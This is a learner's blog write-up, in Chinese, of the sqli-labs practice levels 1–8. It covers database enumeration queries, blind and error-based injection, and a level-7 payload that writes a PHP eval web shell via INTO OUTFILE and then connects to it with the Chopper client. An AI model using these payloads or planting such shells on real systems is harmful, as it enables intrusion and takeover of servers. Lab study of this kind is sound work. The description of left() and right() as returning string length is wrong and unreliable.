SQLI-libs 1-8

前几天看到同学在群里发的sqli-libs教程,想着在家闲着也是无聊,不如搞点事情,于是按照教程下载了phpstudy和sqli-libs,学习一波

第一二三关没什么好说的,总结

查库名:select schema_name from information_schema.schemata
查表名:select table_name from information_schema.tables where table_schema='对应数据库名'
查列名:select column_name from information_schema.columns where table_name='对应表名'
查字段:select '字段名' from '对应数据库名.对应表名'
常用到的函数:
group_concat()      //将多个结果整合成一个结果,默认用逗号分开
concat_ws()         //将多个字段整合成一个字段,如果第一个参数设置了一个字符串,则多个字段间用第一个参数隔开,如果没有设置第一个参数,字段间将直接连接
@@version_compile_os//查看操作系统信息
@@datadir           //查看mysql安装路径
@@version           //查看mysql版本
version()           //同上
database()          //查看当前使用的数据库
system_user()       //查看当前用户
user()              //同上
current_user()      //同上

ps:如果某个地方需要用到字符串,比如concat_ws('~',username,password),字符串可用16进制表示,可改成concat_ws(0x7e,username,password)以避免使用单引号,也可以用char()函数,里面的参数是ASCII码(默认十进制,也可以加前缀0x使用16进制),返回字符串,比如char(35,36,37)返回#$%;查表名或者列名时,对应数据库名或者表名也必须指定为字符串,这时候也可以直接编码为16进制,以避免使用引号。

第四关的sql语句是用("")包裹起来的,这地方有个问题

查询语句为select * from users where id=("1'") limit 0,1;能正常查询出id为1的数据,但是改成("'1")或者("'1'")查询结果都是空,搞不明白为啥,很神奇。。。

mysql> select 1="1'";
+--------+
| 1="1'" |
+--------+
|      1 |
+--------+
1 row in set, 1 warning (0.00 sec)

mysql> select 1="'1";
+--------+
| 1="'1" |
+--------+
|      0 |
+--------+
1 row in set, 1 warning (0.00 sec)

第五六关,只有正确和错误两个回显,布尔盲注

总结:布尔盲注中常用到的函数:
ascii()       //参数为字符,返回字符的ascii值
substr()      //参数:字符串,开始位置,截取字符个数
mid()         //用法同substr()
left()        //参数:字符串,返回字符串的长度
right()       //参数:字符串,返回字符串的长度
双查询注入

sqli-libs给的标题是Double query,双查询注入
双查询注入来源CSDN
双查询注入来源简书

简单的一句话原理就是有研究人员发现,当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。

select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;//查询数据库
/*查询其他内容只需要把database()换一下就行了*/

实际操作时发现,如果返回页面给报错信息的话,用双查询注入会比盲注要快,所以又去专门找了一下关于双查询注入原理的文章
总结原理,大概就是利用rand()函数和group by语句进行报错,适用于未屏蔽报错信息的情况。
双查询注入来源CSDN
双查询注入来源i春秋

第七关

第七关要用到读写方面的知识

load_file('路径')                   //参数为路径,读取该路径的文件
select '内容' into outfile '路径'    //将内容写到路径下的文件中
/*ps:outfile是不能覆盖写入的,如果文件已存在会报错*/

secure_file_priv直接设为/,直接给了MySQL根目录权限
payload:

-1')) union select 1,2,'<?php @eval($_POST["pass"])?>' into outfile 'G:\\phpStudy\\PHPTutorial\\WWW\\sqli\\Less-7\\1.php'--+

注意反斜线可能会被转义,所以要用两个反斜线
虽然回显You have an error in your SQL syntax,但是看了一下文件确实添加成功了,不知道为啥。
看了一下源码,那么应该就是因为这个mysql_fetch_arrey()的返回值转化为bool型之后是false了,但是为什么查询结果明明不是NULL,这个函数返回值却是false呢,迷

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
	if($row)
	{
  	echo '<font color= "#FFFF00">';	
  	echo 'You are in.... Use outfile......';
  	echo "<br>";
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	echo 'You have an error in your SQL syntax';
	//print_r(mysql_error());
	echo "</font>";  
	}
}

然后用菜刀连接(感慨一句,菜刀太强了,真·功夫再高也怕菜刀),连接成功后什么都有了

而且我搞不太明白,为什么用分号分割执行sql语句不能成功。
然后找了一下w3school上关于mysql_query()的介绍,click here
猜测是因为这个函数可能只能进行一句sql语句的查询,w3school上也说了,这个函数执行的sql语句不要用分号结束

语法
mysql_query(query,connection)
参数 描述
query 必需。规定要发送的 SQL 查询。注释:查询字符串不应以分号结束。
connection 可选。规定 SQL 连接标识符。如果未规定,则使用上一个打开的连接。

另一种思路

其实这一题还可以将查询结果通过outfile直接输出到一个txt文件中,然后再去访问这个文件

第八关

布尔盲注,跟我在第五六关中第一种方式一样,我们面对什么sql也不要怕。
经过实测,可以用脚本注,单引号'闭合,--+注释。

原创文章 10 获赞 1 访问量 324

猜你喜欢

转载自blog.csdn.net/qq_43871200/article/details/104989146
1-8